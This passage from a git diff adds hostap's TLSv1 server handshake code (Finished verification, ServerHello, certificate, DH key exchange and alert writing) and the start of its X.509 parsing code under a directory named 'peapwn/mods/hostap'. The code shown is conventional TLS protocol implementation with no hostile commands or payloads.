(unsigned long) len, (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + end = pos + len; + if (len != TLS_VERIFY_DATA_LEN) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " + "in Finished: %lu (expected %d)", + (unsigned long) len, TLS_VERIFY_DATA_LEN); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", + pos, TLS_VERIFY_DATA_LEN); + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version >= TLS_VERSION_1_2) { + hlen = SHA256_MAC_LEN; + if (conn->verify.sha256_client == NULL || + crypto_hash_finish(conn->verify.sha256_client, hash, &hlen) + < 0) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.sha256_client = NULL; + return -1; + } + conn->verify.sha256_client = NULL; + } else { +#endif /* CONFIG_TLSV12 */ + + hlen = MD5_MAC_LEN; + if (conn->verify.md5_client == NULL || + crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.md5_client = NULL; + crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); + conn->verify.sha1_client = NULL; + return -1; + } + conn->verify.md5_client = NULL; + hlen = SHA1_MAC_LEN; + if (conn->verify.sha1_client == NULL || + crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, + &hlen) < 0) { + conn->verify.sha1_client = NULL; + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha1_client = NULL; + hlen = MD5_MAC_LEN + SHA1_MAC_LEN; + +#ifdef CONFIG_TLSV12 + } +#endif /* CONFIG_TLSV12 */ + + if (tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + "client finished", hash, hlen, + verify_data, TLS_VERIFY_DATA_LEN)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECRYPT_ERROR); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", + verify_data, TLS_VERIFY_DATA_LEN); + + if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { + wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); + + *in_len = end - in_data; + + if (conn->use_session_ticket) { + /* Abbreviated handshake using session ticket; RFC 4507 */ + wpa_printf(MSG_DEBUG, "TLSv1: Abbreviated handshake completed " + "successfully"); + conn->state = ESTABLISHED; + } else { + /* Full handshake */ + conn->state = SERVER_CHANGE_CIPHER_SPEC; + } + + return 0; +} + + +int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, + const u8 *buf, size_t *len) +{ + if (ct == TLS_CONTENT_TYPE_ALERT) { + if (*len < 2) { + wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", + buf[0], buf[1]); + *len = 2; + conn->state = FAILED; + return -1; + } + + switch (conn->state) { + case CLIENT_HELLO: + if (tls_process_client_hello(conn, ct, buf, len)) + return -1; + break; + case CLIENT_CERTIFICATE: + if (tls_process_certificate(conn, ct, buf, len)) + return -1; + break; + case CLIENT_KEY_EXCHANGE: + if (tls_process_client_key_exchange(conn, ct, buf, len)) + return -1; + break; + case CERTIFICATE_VERIFY: + if (tls_process_certificate_verify(conn, ct, buf, len)) + return -1; + break; + case CHANGE_CIPHER_SPEC: + if (tls_process_change_cipher_spec(conn, ct, buf, len)) + return -1; + break; + case CLIENT_FINISHED: + if (tls_process_client_finished(conn, ct, buf, len)) + return -1; + break; + default: + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " + "while processing received message", + conn->state); + return -1; + } + + if (ct == TLS_CONTENT_TYPE_HANDSHAKE) + tls_verify_hash_add(&conn->verify, buf, *len); + + return 0; +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_server_write.c b/peapwn/mods/hostap/src/tls/tlsv1_server_write.c new file mode 100644 index 000000000..6d8e55ed4 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_server_write.c @@ -0,0 +1,801 @@ +/* + * TLSv1 server - write handshake message + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/tls.h" +#include "crypto/random.h" +#include "x509v3.h" +#include "tlsv1_common.h" +#include "tlsv1_record.h" +#include "tlsv1_server.h" +#include "tlsv1_server_i.h" + + +static size_t tls_server_cert_chain_der_len(struct tlsv1_server *conn) +{ + size_t len = 0; + struct x509_certificate *cert; + + cert = conn->cred->cert; + while (cert) { + len += 3 + cert->cert_len; + if (x509_certificate_self_signed(cert)) + break; + cert = x509_certificate_get_subject(conn->cred->trusted_certs, + &cert->issuer); + } + + return len; +} + + +static int tls_write_server_hello(struct tlsv1_server *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *rhdr, *hs_start, *hs_length; + struct os_time now; + size_t rlen; + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHello"); + rhdr = pos; + pos += TLS_RECORD_HEADER_LEN; + + os_get_time(&now); + WPA_PUT_BE32(conn->server_random, now.sec); + if (random_get_bytes(conn->server_random + 4, TLS_RANDOM_LEN - 4)) { + wpa_printf(MSG_ERROR, "TLSv1: Could not generate " + "server_random"); + return -1; + } + wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", + conn->server_random, TLS_RANDOM_LEN); + + conn->session_id_len = TLS_SESSION_ID_MAX_LEN; + if (random_get_bytes(conn->session_id, conn->session_id_len)) { + wpa_printf(MSG_ERROR, "TLSv1: Could not generate " + "session_id"); + return -1; + } + wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", + conn->session_id, conn->session_id_len); + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + /* body - ServerHello */ + /* ProtocolVersion server_version */ + WPA_PUT_BE16(pos, conn->rl.tls_version); + pos += 2; + /* Random random: uint32 gmt_unix_time, opaque random_bytes */ + os_memcpy(pos, conn->server_random, TLS_RANDOM_LEN); + pos += TLS_RANDOM_LEN; + /* SessionID session_id */ + *pos++ = conn->session_id_len; + os_memcpy(pos, conn->session_id, conn->session_id_len); + pos += conn->session_id_len; + /* CipherSuite cipher_suite */ + WPA_PUT_BE16(pos, conn->cipher_suite); + pos += 2; + /* CompressionMethod compression_method */ + *pos++ = TLS_COMPRESSION_NULL; + + if (conn->session_ticket && conn->session_ticket_cb) { + int res = conn->session_ticket_cb( + conn->session_ticket_cb_ctx, + conn->session_ticket, conn->session_ticket_len, + conn->client_random, conn->server_random, + conn->master_secret); + if (res < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " + "indicated failure"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_HANDSHAKE_FAILURE); + return -1; + } + conn->use_session_ticket = res; + + if (conn->use_session_ticket) { + if (tlsv1_server_derive_keys(conn, NULL, 0) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to " + "derive keys"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + } + + /* + * RFC 4507 specifies that server would include an empty + * SessionTicket extension in ServerHello and a + * NewSessionTicket message after the ServerHello. However, + * EAP-FAST (RFC 4851), i.e., the only user of SessionTicket + * extension at the moment, does not use such extensions. + * + * TODO: Add support for configuring RFC 4507 behavior and make + * EAP-FAST disable it. + */ + } + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos = rhdr + rlen; + + *msgpos = pos; + + return 0; +} + + +static int tls_write_server_certificate(struct tlsv1_server *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; + size_t rlen; + struct x509_certificate *cert; + const struct tls_cipher_suite *suite; + + suite = tls_get_cipher_suite(conn->rl.cipher_suite); + if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { + wpa_printf(MSG_DEBUG, "TLSv1: Do not send Certificate when " + "using anonymous DH"); + return 0; + } + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); + rhdr = pos; + pos += TLS_RECORD_HEADER_LEN; + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + /* body - Certificate */ + /* uint24 length (to be filled) */ + cert_start = pos; + pos += 3; + cert = conn->cred->cert; + while (cert) { + if (pos + 3 + cert->cert_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " + "for Certificate (cert_len=%lu left=%lu)", + (unsigned long) cert->cert_len, + (unsigned long) (end - pos)); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + WPA_PUT_BE24(pos, cert->cert_len); + pos += 3; + os_memcpy(pos, cert->cert_start, cert->cert_len); + pos += cert->cert_len; + + if (x509_certificate_self_signed(cert)) + break; + cert = x509_certificate_get_subject(conn->cred->trusted_certs, + &cert->issuer); + } + if (cert == conn->cred->cert || cert == NULL) { + /* + * Server was not configured with all the needed certificates + * to form a full certificate chain. The client may fail to + * validate the chain unless it is configured with all the + * missing CA certificates. + */ + wpa_printf(MSG_DEBUG, "TLSv1: Full server certificate chain " + "not configured - validation may fail"); + } + WPA_PUT_BE24(cert_start, pos - cert_start - 3); + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos = rhdr + rlen; + + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + *msgpos = pos; + + return 0; +} + + +static int tls_write_server_key_exchange(struct tlsv1_server *conn, + u8 **msgpos, u8 *end) +{ + tls_key_exchange keyx; + const struct tls_cipher_suite *suite; + u8 *pos, *rhdr, *hs_start, *hs_length; + size_t rlen; + u8 *dh_ys; + size_t dh_ys_len; + + suite = tls_get_cipher_suite(conn->rl.cipher_suite); + if (suite == NULL) + keyx = TLS_KEY_X_NULL; + else + keyx = suite->key_exchange; + + if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { + wpa_printf(MSG_DEBUG, "TLSv1: No ServerKeyExchange needed"); + return 0; + } + + if (keyx != TLS_KEY_X_DH_anon) { + /* TODO? */ + wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not yet " + "supported with key exchange type %d", keyx); + return -1; + } + + if (conn->cred == NULL || conn->cred->dh_p == NULL || + conn->cred->dh_g == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available for " + "ServerKeyExhcange"); + return -1; + } + + os_free(conn->dh_secret); + conn->dh_secret_len = conn->cred->dh_p_len; + conn->dh_secret = os_malloc(conn->dh_secret_len); + if (conn->dh_secret == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " + "memory for secret (Diffie-Hellman)"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + if (random_get_bytes(conn->dh_secret, conn->dh_secret_len)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " + "data for Diffie-Hellman"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(conn->dh_secret); + conn->dh_secret = NULL; + return -1; + } + + if (os_memcmp(conn->dh_secret, conn->cred->dh_p, conn->dh_secret_len) > + 0) + conn->dh_secret[0] = 0; /* make sure secret < p */ + + pos = conn->dh_secret; + while (pos + 1 < conn->dh_secret + conn->dh_secret_len && *pos == 0) + pos++; + if (pos != conn->dh_secret) { + os_memmove(conn->dh_secret, pos, + conn->dh_secret_len - (pos - conn->dh_secret)); + conn->dh_secret_len -= pos - conn->dh_secret; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH server's secret value", + conn->dh_secret, conn->dh_secret_len); + + /* Ys = g^secret mod p */ + dh_ys_len = conn->cred->dh_p_len; + dh_ys = os_malloc(dh_ys_len); + if (dh_ys == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate memory for " + "Diffie-Hellman"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + if (crypto_mod_exp(conn->cred->dh_g, conn->cred->dh_g_len, + conn->dh_secret, conn->dh_secret_len, + conn->cred->dh_p, conn->cred->dh_p_len, + dh_ys, &dh_ys_len)) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(dh_ys); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", + dh_ys, dh_ys_len); + + /* + * struct { + * select (KeyExchangeAlgorithm) { + * case diffie_hellman: + * ServerDHParams params; + * Signature signed_params; + * case rsa: + * ServerRSAParams params; + * Signature signed_params; + * }; + * } ServerKeyExchange; + * + * struct { + * opaque dh_p<1..2^16-1>; + * opaque dh_g<1..2^16-1>; + * opaque dh_Ys<1..2^16-1>; + * } ServerDHParams; + */ + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send ServerKeyExchange"); + rhdr = pos; + pos += TLS_RECORD_HEADER_LEN; + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + + /* body - ServerDHParams */ + /* dh_p */ + if (pos + 2 + conn->cred->dh_p_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " + "dh_p"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(dh_ys); + return -1; + } + WPA_PUT_BE16(pos, conn->cred->dh_p_len); + pos += 2; + os_memcpy(pos, conn->cred->dh_p, conn->cred->dh_p_len); + pos += conn->cred->dh_p_len; + + /* dh_g */ + if (pos + 2 + conn->cred->dh_g_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " + "dh_g"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(dh_ys); + return -1; + } + WPA_PUT_BE16(pos, conn->cred->dh_g_len); + pos += 2; + os_memcpy(pos, conn->cred->dh_g, conn->cred->dh_g_len); + pos += conn->cred->dh_g_len; + + /* dh_Ys */ + if (pos + 2 + dh_ys_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " + "dh_Ys"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(dh_ys); + return -1; + } + WPA_PUT_BE16(pos, dh_ys_len); + pos += 2; + os_memcpy(pos, dh_ys, dh_ys_len); + pos += dh_ys_len; + os_free(dh_ys); + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos = rhdr + rlen; + + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + *msgpos = pos; + + return 0; +} + + +static int tls_write_server_certificate_request(struct tlsv1_server *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *rhdr, *hs_start, *hs_length; + size_t rlen; + + if (!conn->verify_peer) { + wpa_printf(MSG_DEBUG, "TLSv1: No CertificateRequest needed"); + return 0; + } + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateRequest"); + rhdr = pos; + pos += TLS_RECORD_HEADER_LEN; + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + /* body - CertificateRequest */ + + /* + * enum { + * rsa_sign(1), dss_sign(2), rsa_fixed_dh(3), dss_fixed_dh(4), + * (255) + * } ClientCertificateType; + * ClientCertificateType certificate_types<1..2^8-1> + */ + *pos++ = 1; + *pos++ = 1; /* rsa_sign */ + + /* + * opaque DistinguishedName<1..2^16-1> + * DistinguishedName certificate_authorities<3..2^16-1> + */ + /* TODO: add support for listing DNs for trusted CAs */ + WPA_PUT_BE16(pos, 0); + pos += 2; + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos = rhdr + rlen; + + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + *msgpos = pos; + + return 0; +} + + +static int tls_write_server_hello_done(struct tlsv1_server *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos; + size_t rlen; + u8 payload[4]; + + wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHelloDone"); + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + pos = payload; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE; + /* uint24 length */ + WPA_PUT_BE24(pos, 0); + pos += 3; + /* body - ServerHelloDone (empty) */ + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + *msgpos, end - *msgpos, payload, pos - payload, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + tls_verify_hash_add(&conn->verify, payload, pos - payload); + + *msgpos += rlen; + + return 0; +} + + +static int tls_write_server_change_cipher_spec(struct tlsv1_server *conn, + u8 **msgpos, u8 *end) +{ + size_t rlen; + u8 payload[1]; + + wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); + + payload[0] = TLS_CHANGE_CIPHER_SPEC; + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, + *msgpos, end - *msgpos, payload, sizeof(payload), + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " + "record layer"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + *msgpos += rlen; + + return 0; +} + + +static int tls_write_server_finished(struct tlsv1_server *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *hs_start; + size_t rlen, hlen; + u8 verify_data[1 + 3 + TLS_VERIFY_DATA_LEN]; + u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); + + /* Encrypted Handshake Message: Finished */ + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version >= TLS_VERSION_1_2) { + hlen = SHA256_MAC_LEN; + if (conn->verify.sha256_server == NULL || + crypto_hash_finish(conn->verify.sha256_server, hash, &hlen) + < 0) { + conn->verify.sha256_server = NULL; + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha256_server = NULL; + } else { +#endif /* CONFIG_TLSV12 */ + + hlen = MD5_MAC_LEN; + if (conn->verify.md5_server == NULL || + crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.md5_server = NULL; + crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); + conn->verify.sha1_server = NULL; + return -1; + } + conn->verify.md5_server = NULL; + hlen = SHA1_MAC_LEN; + if (conn->verify.sha1_server == NULL || + crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, + &hlen) < 0) { + conn->verify.sha1_server = NULL; + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha1_server = NULL; + hlen = MD5_MAC_LEN + SHA1_MAC_LEN; + +#ifdef CONFIG_TLSV12 + } +#endif /* CONFIG_TLSV12 */ + + if (tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + "server finished", hash, hlen, + verify_data + 1 + 3, TLS_VERIFY_DATA_LEN)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", + verify_data + 1 + 3, TLS_VERIFY_DATA_LEN); + + /* Handshake */ + pos = hs_start = verify_data; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; + /* uint24 length */ + WPA_PUT_BE24(pos, TLS_VERIFY_DATA_LEN); + pos += 3; + pos += TLS_VERIFY_DATA_LEN; + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + *msgpos, end - *msgpos, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + *msgpos += rlen; + + return 0; +} + + +static u8 * tls_send_server_hello(struct tlsv1_server *conn, size_t *out_len) +{ + u8 *msg, *end, *pos; + size_t msglen; + + *out_len = 0; + + msglen = 1000 + tls_server_cert_chain_der_len(conn); + + msg = os_malloc(msglen); + if (msg == NULL) + return NULL; + + pos = msg; + end = msg + msglen; + + if (tls_write_server_hello(conn, &pos, end) < 0) { + os_free(msg); + return NULL; + } + + if (conn->use_session_ticket) { + /* Abbreviated handshake using session ticket; RFC 4507 */ + if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || + tls_write_server_finished(conn, &pos, end) < 0) { + os_free(msg); + return NULL; + } + + *out_len = pos - msg; + + conn->state = CHANGE_CIPHER_SPEC; + + return msg; + } + + /* Full handshake */ + if (tls_write_server_certificate(conn, &pos, end) < 0 || + tls_write_server_key_exchange(conn, &pos, end) < 0 || + tls_write_server_certificate_request(conn, &pos, end) < 0 || + tls_write_server_hello_done(conn, &pos, end) < 0) { + os_free(msg); + return NULL; + } + + *out_len = pos - msg; + + conn->state = CLIENT_CERTIFICATE; + + return msg; +} + + +static u8 * tls_send_change_cipher_spec(struct tlsv1_server *conn, + size_t *out_len) +{ + u8 *msg, *end, *pos; + + *out_len = 0; + + msg = os_malloc(1000); + if (msg == NULL) + return NULL; + + pos = msg; + end = msg + 1000; + + if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || + tls_write_server_finished(conn, &pos, end) < 0) { + os_free(msg); + return NULL; + } + + *out_len = pos - msg; + + wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed successfully"); + conn->state = ESTABLISHED; + + return msg; +} + + +u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len) +{ + switch (conn->state) { + case SERVER_HELLO: + return tls_send_server_hello(conn, out_len); + case SERVER_CHANGE_CIPHER_SPEC: + return tls_send_change_cipher_spec(conn, out_len); + default: + if (conn->state == ESTABLISHED && conn->use_session_ticket) { + /* Abbreviated handshake was already completed. */ + return NULL; + } + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " + "generating reply", conn->state); + return NULL; + } +} + + +u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, + u8 description, size_t *out_len) +{ + u8 *alert, *pos, *length; + + wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); + *out_len = 0; + + alert = os_malloc(10); + if (alert == NULL) + return NULL; + + pos = alert; + + /* TLSPlaintext */ + /* ContentType type */ + *pos++ = TLS_CONTENT_TYPE_ALERT; + /* ProtocolVersion version */ + WPA_PUT_BE16(pos, conn->rl.tls_version ? conn->rl.tls_version : + TLS_VERSION); + pos += 2; + /* uint16 length (to be filled) */ + length = pos; + pos += 2; + /* opaque fragment[TLSPlaintext.length] */ + + /* Alert */ + /* AlertLevel level */ + *pos++ = level; + /* AlertDescription description */ + *pos++ = description; + + WPA_PUT_BE16(length, pos - length - 2); + *out_len = pos - alert; + + return alert; +} diff --git a/peapwn/mods/hostap/src/tls/x509v3.c b/peapwn/mods/hostap/src/tls/x509v3.c new file mode 100644 index 000000000..06540bffd --- /dev/null +++ b/peapwn/mods/hostap/src/tls/x509v3.c @@ -0,0 +1,1979 @@ +/* + * X.509v3 certificate parsing and processing (RFC 3280 profile) + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" +#include "asn1.h" +#include "x509v3.h" + + +static void x509_free_name(struct x509_name *name) +{ + size_t i; + + for (i = 0; i < name->num_attr; i++) { + os_free(name->attr[i].value); + name->attr[i].value = NULL; + name->attr[i].type = X509_NAME_ATTR_NOT_USED; + } + name->num_attr = 0; + os_free(name->email); + name->email = NULL; + + os_free(name->alt_email); + os_free(name->dns); + os_free(name->uri); + os_free(name->ip); + name->alt_email = name->dns = name->uri = NULL; + name->ip = NULL; + name->ip_len = 0; + os_memset(&name->rid, 0, sizeof(name->rid)); +} + + +/** + * x509_certificate_free - Free an X.509 certificate + * @cert: Certificate to be freed + */ +void x509_certificate_free(struct x509_certificate *cert) +{ + if (cert == NULL) + return; + if (cert->next) { + wpa_printf(MSG_DEBUG, "X509: x509_certificate_free: cer=%p " + "was still on a list (next=%p)\n", + cert, cert->next); + } + x509_free_name(&cert->issuer); + x509_free_name(&cert->subject); + os_free(cert->public_key); + os_free(cert->sign_value); + os_free(cert); +} + + +/** + * x509_certificate_free - Free an X.509 certificate chain + * @cert: Pointer to the first certificate in the chain + */ +void x509_certificate_chain_free(struct x509_certificate *cert) +{ + struct x509_certificate *next; + + while (cert) { + next = cert->next; + cert->next = NULL; + x509_certificate_free(cert); + cert = next; + } +} + + +static int x509_whitespace(char c) +{ + return c == ' ' || c == '\t'; +} + + +static void x509_str_strip_whitespace(char *a) +{ + char *ipos, *opos; + int remove_whitespace = 1; + + ipos = opos = a; + + while (*ipos) { + if (remove_whitespace && x509_whitespace(*ipos)) + ipos++; + else { + remove_whitespace = x509_whitespace(*ipos); + *opos++ = *ipos++; + } + } + + *opos-- = '\0'; + if (opos > a && x509_whitespace(*opos)) + *opos = '\0'; +} + + +static int x509_str_compare(const char *a, const char *b) +{ + char *aa, *bb; + int ret; + + if (!a && b) + return -1; + if (a && !b) + return 1; + if (!a && !b) + return 0; + + aa = os_strdup(a); + bb = os_strdup(b); + + if (aa == NULL || bb == NULL) { + os_free(aa); + os_free(bb); + return os_strcasecmp(a, b); + } + + x509_str_strip_whitespace(aa); + x509_str_strip_whitespace(bb); + + ret = os_strcasecmp(aa, bb); + + os_free(aa); + os_free(bb); + + return ret; +} + + +/** + * x509_name_compare 